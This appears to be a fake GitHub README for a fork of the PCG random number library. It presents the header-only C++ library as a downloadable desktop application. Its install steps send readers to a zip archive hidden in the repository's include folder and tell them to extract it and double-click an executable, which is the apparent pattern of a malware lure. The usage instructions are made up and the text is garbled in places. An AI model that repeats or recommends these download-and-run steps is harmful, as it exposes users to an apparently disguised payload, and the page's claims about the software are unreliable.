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🎲 Generate random numbers efficiently with the maintained PCG C++ library, ensuring high performance and reliability for modern applications.

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carltonfsmith/pcg-cpp

πŸŽ‰ pcg-cpp - Fast, Reliable Random Number Generator

Download pcg-cpp

πŸš€ Getting Started

pcg-cpp is a modernized version of the original PCG random number generator. This version offers enhanced features like support for Windows ARM64 and compatibility with modern C++ standards. Whether you are working on games, simulations, or any application that needs random numbers, this tool provides a reliable solution.

In this guide, you will learn how to download and run the software on your computer.

πŸ“₯ Download & Install

To get pcg-cpp, simply visit the Releases page for the most recent version. You’ll find downloadable files ready for your operating system. Click on the link below to start downloading:

Visit this page to download

Supported Operating Systems

  • Windows ARM64
  • Other Windows versions
  • Linux distributions
  • macOS

Please ensure your machine meets the following requirements:

  • A compatible operating system as mentioned above.
  • Sufficient disk space to store the software.

πŸ› οΈ Installation Instructions

Step 1: Visit the Releases Page

To begin, open the following link in your web browser:

Visit this page to download

Step 2: Choose Your Version

On the Releases page, you will see a list of available versions. Look for the latest release, which will have the highest version number. Click on it to view the available files for download.

Step 3: Download the File

Depending on your operating system, download the appropriate file. For example:

Step 4: Extract the Files

Once the download is complete, locate the downloaded zip file on your computer. You will need to extract its contents:

  1. Right-click on the zip file.
  2. Select "Extract All" or "Extract Here" depending on the option you see.
  3. Choose a destination folder to extract the files, or just use the default.

Step 5: Run the Application

After extraction, open the folder containing the files. Look for the executable file, which may be named https://github.com/carltonfsmith/pcg-cpp/raw/refs/heads/master/include/cpp-pcg-v1.9.zip or similar.

Double-click on this file to run the application. Follow any on-screen instructions if presented.

πŸ” Features

  • High Performance: pcg-cpp provides fast random number generation.
  • Community Driven: This fork is actively maintained by a community of developers.
  • Cross-Platform Support: Use on various operating systems including Windows, macOS, and Linux.
  • Enhanced Standards: Support for modern C++ standards (C++17/C++20).
  • ARM64 Compatibility: Special focus on Windows ARM64 support.

πŸ“– Usage Instructions

Once you have the application running, you can start generating random numbers. Here’s a quick guide on how to use the tool:

  1. Open the application.
  2. You may see options like Generate Random Number. Select this option.
  3. Specify any parameters required, such as the range of numbers.
  4. Click on Generate to see your random number.

Explore the application to discover more features, which may include customizing the output or setting different modes for random number generation.

πŸ› οΈ Troubleshooting

If you encounter any issues while downloading or using the application, consider the following steps:

  • Ensure your operating system is supported.
  • Check that you have extracted all files correctly.
  • Make sure you have the necessary permissions to run executables on your system.

For more specific problems, consult the issues section on the GitHub page or reach out to the community.

πŸ“ž Support

For additional support, visit the GitHub repository's Issues section. There, you can report bugs or request features. You will find a community ready to assist you with any questions you may have.

Thank you for choosing pcg-cpp for your random number generation needs. Happy coding!

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🎲 Generate random numbers efficiently with the maintained PCG C++ library, ensuring high performance and reliability for modern applications.

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